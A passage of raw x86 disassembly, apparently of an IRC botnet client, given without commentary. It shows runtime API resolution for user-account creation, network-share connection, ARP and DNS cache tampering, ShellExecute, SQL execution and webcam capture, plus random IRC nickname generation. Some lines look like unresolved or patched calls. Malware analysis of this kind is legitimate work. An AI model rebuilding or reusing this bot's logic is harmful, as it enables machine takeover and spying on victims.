"NetUserAdd" push edi mov dword_4CAEA0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE4C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE3C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAED4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFCC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAF84, eax call esi cmp dword_4CAE68, ebx mov dword_4CAEA8, eax jz short loc_40A582 cmp dword_4CAE40, ebx jz short loc_40A582 cmp dword_4CAEB8, ebx jz short loc_40A582 cmp dword_4CAEEC, ebx jz short loc_40A582 cmp dword_4CB004, ebx jz short loc_40A582 cmp dword_4CAEA0, ebx jz short loc_40A582 cmp dword_4CAE4C, ebx jz short loc_40A582 cmp dword_4CAE3C, ebx jz short loc_40A582 cmp dword_4CAED4, ebx jz short loc_40A582 cmp dword_4CAFCC, ebx jz short loc_40A582 cmp dword_4CAF84, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j call near ptr 2660882h nop mov dword_4CB070, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB06C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAE90, eax call esi cmp dword_4CAE90, ebx mov dword_4CAF6C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j nop call near ptr 2660882h mov dword_4CB078, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB074, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CAFF0, eax call esi cmp dword_4CAFF0, ebx mov dword_4CAFEC, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj call near ptr 2660882h nop mov dword_4CB080, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB07C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB01C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB014, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CAFDC, eax call esi cmp dword_4CB01C, ebx mov dword_4CAEAC, eax jz short loc_40A68A cmp dword_4CB014, ebx jz short loc_40A68A cmp dword_4CAFDC, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 2660882h mov dword_4CB088, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB084, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAEE0, eax call esi cmp dword_4CAEE0, ebx mov dword_4CAFE8, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 2660882h mov dword_4CB090, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB08C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFB0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CAFFC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF38, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAEF0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAF90, eax call esi cmp dword_4CAFB0, ebx mov dword_4CAF00, eax jz short loc_40A772 cmp dword_4CAFFC, ebx jz short loc_40A772 cmp dword_4CAF38, ebx jz short loc_40A772 cmp dword_4CAEF0, ebx jz short loc_40A772 cmp dword_4CAF90, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j call near ptr 2660882h nop mov dword_4CB098, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB094, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEC4, eax call esi cmp dword_4CAEC4, ebx mov dword_4CAFA4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 2660882h mov dword_4CB0A0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB09C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB034, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB038 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB03C, esi jz short loc_40A84A push dword_4CB040 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB044, esi jz short loc_40A87E push dword_4CB048 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB04C, esi jz short loc_40A8B2 push dword_4CB050 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB054, esi jz short loc_40A8E6 push dword_4CB058 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB05C, esi jz short loc_40A91A push dword_4CB060 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB064, esi jz short loc_40A94E push dword_4CB068 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB06C, esi jz short loc_40A982 push dword_4CB070 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB074, esi jz short loc_40A9B6 push dword_4CB078 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB07C, esi jz short loc_40A9EA push dword_4CB080 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB084, esi jz short loc_40AA1E push dword_4CB088 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB08C, esi jz short loc_40AA52 push dword_4CB090 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB094, esi jz short loc_40AA86 push dword_4CB098 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB09C, esi jz short loc_40AABA push dword_4CB0A0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D338 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFB4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CAFF8 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAE90 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CAFF0 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D54C push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D528 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CAFF0 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D4F8 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4C8 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CAFEC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF18 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0A4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D598o arg_0 = dword ptr 4 push esi push edi call near ptr 2670678h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D600[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B468 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 0E8h, 4Eh, 59h ; --------------------------------------------------------------------------- add dl, es:[eax-18h] test al, 0Bh add [eax], eax mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B468 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 2670678h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 2670678h nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431258 push eax push esi nop call near ptr 26A0000h movsx eax, byte_431258 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B468 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 2670678h nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26B0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_43125C push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B468 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D128 mov dword ptr [ebp-94h], 94h call near ptr 26B05AAh nop call near ptr 2670678h nop push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_431284 loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431280 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_43127C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431278 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_431274 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431270 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_43126C jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431268 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431260 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B468 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 2670678h nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAF80 test eax, eax mov eax, offset dword_431290 jnz short loc_40B022 mov eax, offset dword_43D128 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431288 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAF80 test eax, eax mov eax, offset dword_431290 jnz short loc_40B04D mov eax, offset dword_43D128 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D594 loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D60C jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D598[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCB0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACB0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCB0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEB0[esi], eax and dword_43DEB4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEB8[esi], 0 mov dword_43DEBC[esi], eax and byte_43DEC8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2B4E4FE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431390h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C19868FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43DEC4[esi] lea edi, dword_43DEC4[esi] call near ptr 26706DCh nop cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: 